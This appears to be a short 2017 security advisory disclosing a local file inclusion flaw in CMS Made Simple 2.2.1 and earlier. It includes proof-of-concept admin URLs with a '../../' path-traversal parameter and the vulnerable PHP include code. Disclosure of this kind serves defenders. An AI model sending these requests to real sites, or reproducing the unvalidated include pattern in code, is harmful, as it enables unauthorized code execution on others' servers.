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CMS Made Simple 2.2.1 Local File Inclusion

CMS Made Simple 2.2.1 Local File Inclusion
Posted Jul 2, 2017
Authored by Zhiyang Zeng

CMS Made Simple versions 2.2.1 and below suffers from a local inclusion vulnerability.

tags | exploit, local, file inclusion
MD5 | b3f295af95e08dea0b4737419f60d4db

CMS Made Simple 2.2.1 Local File Inclusion

Change Mirror Download
=======
Details
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Software:cmsmadesimple


Homepage:http://www.cmsmadesimple.org/<http://www.cmsmadesimple.org/><http://www.cmsmadesimple.org/>


version:<=2.2.1


description:The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.


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PoC:

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For cmsmadesimple <=2.1.6:


The Vulnerability is existing in /cmsms/admin/listtags.php Line 82 and line 54

If there is a file named "1.phpinfo.php" in http://127.0.0.1/1.phpinfo.php

So when we visit the following link:

http://127.0.0.1/cmsms/admin/listtags.php?_sk_=08852e62af02bc03&action=showpluginhelp

http://127.0.0.1/cmsms/admin/listtags.php?_sk_=08852e62af02bc03&action=showpluginhelp&plugin=phpinfo&
type=../../1

local file inclusion successfully!


For cmsmadesimple <=2.2.1:


Current version is still vulnerable.


if ($action == "showpluginhelp") {
$content = '';
$file = $find_file("$type.$plugin.php");
if( is_file($file) ) require_once($file);


=========

Reference

==========


https://lightrains.org/local-file-inclusion-in-cmsmadesimple/





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